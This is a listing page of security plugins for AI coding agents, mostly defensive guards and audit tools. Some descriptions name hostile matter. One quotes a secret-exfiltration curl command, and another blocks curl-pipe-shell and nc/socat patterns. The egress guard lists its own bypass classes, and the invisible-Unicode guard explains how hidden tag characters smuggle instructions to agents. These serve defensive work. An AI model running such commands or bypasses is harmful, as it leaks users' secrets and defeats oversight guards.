Security & Compliance Agent Plugins

48 of 48 plugins on this page · click a row to expand · 107 total

1. ▸agentic-bundle-aas-privacy-compliance-engineering20.6.0Portable skills-only "AAS Privacy & Compliance Engineering" plugin from Agentic Awesome Skills.sickn336 skillsPortable skills-only "AAS Privacy & Compliance Engineering" plugin from Agentic Awesome Skills.sickn336049,306
2. ▸aws-agents-for-devsecops1.1.0Investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.aws13 skillsInvestigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.aws1303,422
3. ▸probo0.6.0Open-source compliance workflows for the Probo MCP API, plus the using-prb CLI skillgetprobo5 skills2 mcpOpen-source compliance workflows for the Probo MCP API, plus the using-prb CLI skillgetprobo521,501
4. ▸llm-iso270011.0.0Operate an ISO 27001 / ISO 42001 / NIS 2 ISMS: policies, live registers, and executable compliance checks, in markdown + git.kriss-b1 skillsOperate an ISO 27001 / ISO 42001 / NIS 2 ISMS: policies, live registers, and executable compliance checks, in markdown + git.kriss-b1063
5. ▸auth02.8.0Add Auth0 authentication to any app: login, MFA, SSO, Organizations, RBAC, ACUL, custom domains, and branding. Debug auth errors, validate JWTs, manage token lifecycles, and migrate from Clerk, Firebase, or Cognito. Covers React, Next.js, Vue, Nuxt, Angular, Express, Flask, Spring Boot, Go, Swift, Android, Flutter, Laravel, PHP, ASP.NET Core, React Native, Expo, Ionic,.NET MAUI, and more.auth01 skillsAdd Auth0 authentication to any app: login, MFA, SSO, Organizations, RBAC, ACUL, custom domains, and branding. Debug auth errors, validate JWTs, manage token lifecycles, and migrate from Clerk, Firebase, or Cognito. Covers React, Next.js, Vue, Nuxt, Angular, Express, Flask, Spring Boot, Go, Swift, Android, Flutter, Laravel, PHP, ASP.NET Core, React Native, Expo, Ionic,.NET MAUI, and more.auth01055
6. ▸security-audit2.11.10Security audit patterns (OWASP Top 10, CWE Top 25 2025, CVSS v4.0) and GitHub project security checks for any project. Deep automated PHP/TYPO3 scanning with 80+ checkpoints, 41 reference guides, PreToolUse warnings. By Netresearch.netresearch1 skillsSecurity audit patterns (OWASP Top 10, CWE Top 25 2025, CVSS v4.0) and GitHub project security checks for any project. Deep automated PHP/TYPO3 scanning with 80+ checkpoints, 41 reference guides, PreToolUse warnings. By Netresearch.netresearch1052
7. ▸pixee-cli1.2.0Skills for using the Pixee CLI: authentication, scans, workflows, repositories, findings, and API access.pixee15 skillsSkills for using the Pixee CLI: authentication, scans, workflows, repositories, findings, and API access.pixee15031
8. ▸skarn0.34.0Skarn for Cursor: audit your AI coding sessions and assistant configs for leaked credentials and risky configuration, and run the pre-execution guard. Backed by the Skarn detection engine on your machine; the skarn binary is installed separately. It declares one local MCP server, named skarn, with four tools (scan_sessions, vet_configs, list_sessions, session_stats): every tool is read-only, none of them writes or changes a file, none of them makes a network call, and every matched value comes back masked.skarn-security1 skills1 mcpSkarn for Cursor: audit your AI coding sessions and assistant configs for leaked credentials and risky configuration, and run the pre-execution guard. Backed by the Skarn detection engine on your machine; the skarn binary is installed separately. It declares one local MCP server, named skarn, with four tools (scan_sessions, vet_configs, list_sessions, session_stats): every tool is read-only, none of them writes or changes a file, none of them makes a network call, and every matched value comes back masked.skarn-security1124
9. ▸pi-xpi0.10.0-rc1XPI: offensive security tools for Pi Agent and OMP (fork): casefile ledger with honest-PoC gates, web lookup, exploit technique search, and todo tracking.xaccefy4 skillsXPI: offensive security tools for Pi Agent and OMP (fork): casefile ledger with honest-PoC gates, web lookup, exploit technique search, and todo tracking.xaccefy4018
10. ▸block-invisible-unicode0.0.4The mechanizable slice of prompt-injection defense, enforced at two points: at commit (the git hook, over staged changes) and at agent tool-use (over a tool call's arguments, as the agent writes), invisible and direction-override Unicode. Bidi controls make code read differently than it parses (Trojan Source, CVE-2021-42574); Unicode tag-block characters smuggle instructions that are invisible to a human reviewer but fully legible to the agent reading the file. Zero-width joiners and bidi marks (ZWJ/ZWNJ/LRM/RLM) are deliberately NOT matched, they are legitimate in emoji sequences and in Persian, Arabic and Indic text, so ordinary internationalised content passes; only the override/embed/isolate controls and the tag block, which have no honest use in a source tree, are blocked. Escape: 'pragma: allowlist invisible-unicode' on the same line.open-coder-ai1 skillsThe mechanizable slice of prompt-injection defense, enforced at two points: at commit (the git hook, over staged changes) and at agent tool-use (over a tool call's arguments, as the agent writes), invisible and direction-override Unicode. Bidi controls make code read differently than it parses (Trojan Source, CVE-2021-42574); Unicode tag-block characters smuggle instructions that are invisible to a human reviewer but fully legible to the agent reading the file. Zero-width joiners and bidi marks (ZWJ/ZWNJ/LRM/RLM) are deliberately NOT matched, they are legitimate in emoji sequences and in Persian, Arabic and Indic text, so ordinary internationalised content passes; only the override/embed/isolate controls and the tag block, which have no honest use in a source tree, are blocked. Escape: 'pragma: allowlist invisible-unicode' on the same line.open-coder-ai1010
12. ▸trent0.4.0Trent, an AI security engineer. Review code, plans and configs for security problems, run threat models over a repo or website, and track remediation without leaving the editor.trnt-ai4 skills2 mcpTrent, an AI security engineer. Review code, plans and configs for security problems, run threat models over a repo or website, and track remediation without leaving the editor.trnt-ai429
13. ▸enterprise-readiness4.20.0Assess and enhance software projects for enterprise-grade security, quality, and automationnetresearch1 skillsAssess and enhance software projects for enterprise-grade security, quality, and automationnetresearch107
14. ▸colossus0.11.11-preview.6First-party Colossus scheduling, development, documentation, plugin authoring, and evidence-based security review Agent Skills.obscuritylabs7 skillsFirst-party Colossus scheduling, development, documentation, plugin authoring, and evidence-based security review Agent Skills.obscuritylabs705
15. ▸dependencies0.9.0Harden how dependencies arrive with cooldowns, Renovate, frozen installs, and denied install scripts, and adopt barely used ones into the repostaticaland5 skillsHarden how dependencies arrive with cooldowns, Renovate, frozen installs, and denied install scripts, and adopt barely used ones into the repostaticaland505
16. ▸github-security-investigations1.3.1Reusable Agent Plugin workflows for GitHub organization security posture and repository CVE reachability.mappedsky4 skills2 mcpReusable Agent Plugin workflows for GitHub organization security posture and repository CVE reachability.mappedsky425
17. ▸maya-umbrella-scanner0.2.1Agent Skill for scanning known malware signatures in Autodesk Maya.ma/.mb scenes with a portable Windows x64 CLI and approval-gated cleanup.loonghao1 skillsAgent Skill for scanning known malware signatures in Autodesk Maya.ma/.mb scenes with a portable Windows x64 CLI and approval-gated cleanup.loonghao105
18. ▸1claw0.64.1Secure secrets management, multi-chain signing, agent memory, automations, and 155 tools (offered per agent entitlement, in toolsets) for AI agents via 1Claw vault.1clawAI1 skills1 mcpSecure secrets management, multi-chain signing, agent memory, automations, and 155 tools (offered per agent entitlement, in toolsets) for AI agents via 1Claw vault.1clawAI114
19. ▸hol-guard0.1.1Local-first AI agent security with Guard status, security receipts, approvals, MCP visibility, and pre-trust scanning for skills, plugins, and MCP servers.hashgraph-online2 skills1 mcpLocal-first AI agent security with Guard status, security receipts, approvals, MCP visibility, and pre-trust scanning for skills, plugins, and MCP servers.hashgraph-online214
20. ▸trustless0.1.0Credential broker CLI for AI agents. Injects credentials into subprocess memory: agent never sees plaintext values.ikkun12221 skillsCredential broker CLI for AI agents. Injects credentials into subprocess memory: agent never sees plaintext values.ikkun1222104
21. ▸apple-security-devices0.1.0Realistic Apple security-research environments using Tart macOS guests, physical iPhones, and darwin-vm low-level Darwin guests.philo-groves1 skills1 mcpRealistic Apple security-research environments using Tart macOS guests, physical iPhones, and darwin-vm low-level Darwin guests.philo-groves113
23. ▸block-curl-pipe-sh0.1.8Best-effort guard: refuses a download (curl, wget, iwr; ssh host cmd, scp/rsync/aws s3 cp to stdout) wired into a shell or interpreter (sh..fish, python, perl, ruby, node, php, lua, pwsh, deno, bun, su, source, eval, iex) by pipe, substitution or here-string, also inside bash -c/ssh/docker exec bodies, or downloaded then run with no checksum or signature step. nc/socat/one-liner reads ask. Misses: aliases, functions, outside variables, encoded text, renamed downloads. Friction only.open-coder-ai1 skillsBest-effort guard: refuses a download (curl, wget, iwr; ssh host cmd, scp/rsync/aws s3 cp to stdout) wired into a shell or interpreter (sh..fish, python, perl, ruby, node, php, lua, pwsh, deno, bun, su, source, eval, iex) by pipe, substitution or here-string, also inside bash -c/ssh/docker exec bodies, or downloaded then run with no checksum or signature step. nc/socat/one-liner reads ask. Misses: aliases, functions, outside variables, encoded text, renamed downloads. Friction only.open-coder-ai103
24. ▸scvd-general-store0.2.7Evidence observatory: x402/MPP inspection, signed receipt checks and settlement attestations.seancrecord3 skills2 mcpEvidence observatory: x402/MPP inspection, signed receipt checks and settlement attestations.seancrecord323
25. ▸cloudpeek0.14.5Connect your agent to CloudPeek, the AI security teammate. Triage the 5% of alerts that matter, run investigations, and manage incidents through the hosted CloudPeek MCP gateway.Cloud-PeekConnect your agent to CloudPeek, the AI security teammate. Triage the 5% of alerts that matter, run investigations, and manage incidents through the hosted CloudPeek MCP gateway.Cloud-Peek002
26. ▸mcp-security-proxy0.2.0-alpha.5Installable Agent Plugins demo for the deny-by-default MCP Security Proxy.0disoft1 mcpInstallable Agent Plugins demo for the deny-by-default MCP Security Proxy.0disoft012
27. ▸vord-guardrail0.9.0Denies an agent's write before it reaches disk when it introduces a security finding or touches a protected path. Deterministic: the verdict comes from a static analyzer, not from a model asked to check its own work.pmaojo6 skills1 mcpDenies an agent's write before it reaches disk when it introduces a security finding or touches a protected path. Deterministic: the verdict comes from a static analyzer, not from a model asked to check its own work.pmaojo612
28. ▸artifact-customs1.0.0Clear, adopt, maintain, replace, and retire exact third-party software components under explicit policy.nisavid3 skillsClear, adopt, maintain, replace, and retire exact third-party software components under explicit policy.nisavid301
29. ▸block-unapproved-egress0.0.1Best-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data, POST/PUT, --data/--form, --upload-file, --post-file, to a host outside the egress allowlist. The allowlist defaults to package registries and code hosting and is meant to be extended with your org's own domains; a host matches by exact name or ".<entry>" suffix. Fetch-only traffic (a bare GET, `pip install`) is left alone, the target is upload to an unapproved host, not normal dependency traffic. This is a tool-time FLOOR, not a network sandbox: it stops the obvious `curl -d @secrets https://unknown` reflex; containing a determined adversary needs real sandboxing. Known bypass classes include scheme-less URL targets (host extraction needs the http(s):// prefix), a request driven by curl's implicit ~/.curlrc, combined short flags, obfuscated payloads, non-standard clients, and egress via a language runtime. Escape: 'pragma: allowlist egress'.open-coder-ai1 skillsBest-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data, POST/PUT, --data/--form, --upload-file, --post-file, to a host outside the egress allowlist. The allowlist defaults to package registries and code hosting and is meant to be extended with your org's own domains; a host matches by exact name or ".<entry>" suffix. Fetch-only traffic (a bare GET, `pip install`) is left alone, the target is upload to an unapproved host, not normal dependency traffic. This is a tool-time FLOOR, not a network sandbox: it stops the obvious `curl -d @secrets https://unknown` reflex; containing a determined adversary needs real sandboxing. Known bypass classes include scheme-less URL targets (host extraction needs the http(s):// prefix), a request driven by curl's implicit ~/.curlrc, combined short flags, obfuscated payloads, non-standard clients, and egress via a language runtime. Escape: 'pragma: allowlist egress'.open-coder-ai101
30. ▸c2pa-inspector1.0.0Inspect and audit C2PA Content Credentials, cryptographic signatures, provenance assertions, and AI generation metadata across media assets.ghchinoy1 skillsInspect and audit C2PA Content Credentials, cryptographic signatures, provenance assertions, and AI generation metadata across media assets.ghchinoy101
31. ▸cast-highlight1.1.0Analyze your application portfolio with CAST Highlight, technical debt, open-source security risk, cloud readiness, and agentic/AI readiness, and trigger new code scans via the CAST Highlight GitHub Action.CASTHighlight4 skills1 mcpAnalyze your application portfolio with CAST Highlight, technical debt, open-source security risk, cloud readiness, and agentic/AI readiness, and trigger new code scans via the CAST Highlight GitHub Action.CASTHighlight411
32. ▸synouser1.0.0Synology utilities for managing local users and groups with synouser and synogroup.sliekens1 skillsSynology utilities for managing local users and groups with synouser and synogroup.sliekens101
34. ▸whisper-graph2.0.0Investigation playbooks for the WhisperGraph internet-infrastructure graph: indicator triage that reads coverage before it reports a verdict, bulk triage over a SIEM export, Cypher that passes the server's validator, and brand-protection sweeps.whisper-sec4 skillsInvestigation playbooks for the WhisperGraph internet-infrastructure graph: indicator triage that reads coverage before it reports a verdict, bulk triage over a SIEM export, Cypher that passes the server's validator, and brand-protection sweeps.whisper-sec401
35. ▸agent-attack-replay0.1.0Build and replay controlled agent attack scenarios with measurable evidence.dasobralBuild and replay controlled agent attack scenarios with measurable evidence.dasobral000
36. ▸agentic-bundle-security-engineer16.5.0Portable skills-only "Security Engineer" plugin from Agentic Awesome Skills.costrict-plugins-repo8 skillsPortable skills-only "Security Engineer" plugin from Agentic Awesome Skills.costrict-plugins-repo800
37. ▸agents-security1.0.0Security analysis skills: trust boundaries, secrets, authorization, input validation.skillshop-ostyles21 skillsSecurity analysis skills: trust boundaries, secrets, authorization, input validation.skillshop-ostyles2100
38. ▸ask-secret0.1.0Create a one-time browser handoff link for entering a secret without putting the value in chat.megamen321 skills1 mcpCreate a one-time browser handoff link for entering a secret without putting the value in chat.megamen32110
39. ▸cx-findings-to-fix1.6.0Findings-to-Fix builds on Checkmarx One Triage Assist and Remediation Assist. Triage Assist has already evaluated the findings on the platform using Attackability-based context (reachability, exploitability, code context, policy) and confirmed the ones that require action. The plugin takes only those confirmed findings, asks Remediation Assist to generate the review-ready fix, and brings it into the developer's editor. The agent proposes; the developer approves. Pulls only the findings Triage Assist has confirmed on the current branch, requests fixes from Remediation Assist, and proposes them in VS Code as edits with Keep and Undo. A skill, a custom agent, and a zero-dependency tool (Python or Node) against the Checkmarx One API.cx-israel-ogunsakin1 skillsFindings-to-Fix builds on Checkmarx One Triage Assist and Remediation Assist. Triage Assist has already evaluated the findings on the platform using Attackability-based context (reachability, exploitability, code context, policy) and confirmed the ones that require action. The plugin takes only those confirmed findings, asks Remediation Assist to generate the review-ready fix, and brings it into the developer's editor. The agent proposes; the developer approves. Pulls only the findings Triage Assist has confirmed on the current branch, requests fixes from Remediation Assist, and proposes them in VS Code as edits with Keep and Undo. A skill, a custom agent, and a zero-dependency tool (Python or Node) against the Checkmarx One API.cx-israel-ogunsakin100
40. ▸damage-control1.0.0損害控制 (Damage Control) 安全系統: 透過 PreToolUse 鉤子封鎖危險指令並保護敏感檔案RDCrystalLab1 skills損害控制 (Damage Control) 安全系統: 透過 PreToolUse 鉤子封鎖危險指令並保護敏感檔案RDCrystalLab100
41. ▸dcg0.4.0Block destructive shell and git commands before they runkilianpaquierBlock destructive shell and git commands before they runkilianpaquier000
42. ▸dependency-checker0.6.0Static multi-ecosystem dependency evidence, security, SBOM, and update-impact analysis for coding agents.steventimes1 skills1 mcpStatic multi-ecosystem dependency evidence, security, SBOM, and update-impact analysis for coding agents.steventimes110
43. ▸eczid-agent-trust0.1.1See what the AI agents in a workspace can reach: agent manifests, instructions, declared tools, MCP servers, permission policy and public proof references. Inspection only. Free.Ecocitizenz1 skills1 mcpSee what the AI agents in a workspace can reach: agent manifests, instructions, declared tools, MCP servers, permission policy and public proof references. Inspection only. Free.Ecocitizenz110
45. ▸ghidra-agent-plugin1.0.5Inspect and improve an existing Ghidra Program through a small local MCP interface.lumirth1 skills1 mcpInspect and improve an existing Ghidra Program through a small local MCP interface.lumirth110
46. ▸infisical-dev1.1.1Infisical CLI dev plugin for Agents Store. Complete command-line coverage for secrets management: install & auth, infisical run/secrets/export, dynamic secrets, secret scanning with pre-commit hooks, machine-identity CI/CD auth, self-hosted, and troubleshooting.Agents-Store6 skillsInfisical CLI dev plugin for Agents Store. Complete command-line coverage for secrets management: install & auth, infisical run/secrets/export, dynamic secrets, secret scanning with pre-commit hooks, machine-identity CI/CD auth, self-hosted, and troubleshooting.Agents-Store600
47. ▸joai-certificate0.3.0Connect Certificate to Claude, Cursor, and ChatGPT through JoAi's hosted MCP app server.JoAiHQ1 skills1 mcpConnect Certificate to Claude, Cursor, and ChatGPT through JoAi's hosted MCP app server.JoAiHQ110
48. ▸nittim1.1.0Production-safety audits for AI-generated code, with a fix for every finding.ilanwolberger1 skillsProduction-safety audits for AI-generated code, with a fix for every finding.ilanwolberger100
49. ▸oauth2-authentication1.0.0OAuth2認証とOpenID Connectのフロー、トークン管理、実装例、セキュリティ指針を提供するyugo-ibuki1 skillsOAuth2認証とOpenID Connectのフロー、トークン管理、実装例、セキュリティ指針を提供するyugo-ibuki100
50. ▸pi-casefile0.11.1Offensive security case ledger for Pi Agent, evidence tracking with machine-verified PoC gates.xaccefyOffensive security case ledger for Pi Agent, evidence tracking with machine-verified PoC gates.xaccefy000
51. ▸recon2.27.1Public-metadata domain intelligence through the recon MCP server and portable skills.blisspixel2 skills1 mcpPublic-metadata domain intelligence through the recon MCP server and portable skills.blisspixel210
52. ▸security0.7.11Project-agnostic security skills for repository audits, diff review, deterministic scanning, supply chain, threat modeling, smart contracts, and AI systems.akoita7 skillsProject-agnostic security skills for repository audits, diff review, deterministic scanning, supply chain, threat modeling, smart contracts, and AI systems.akoita700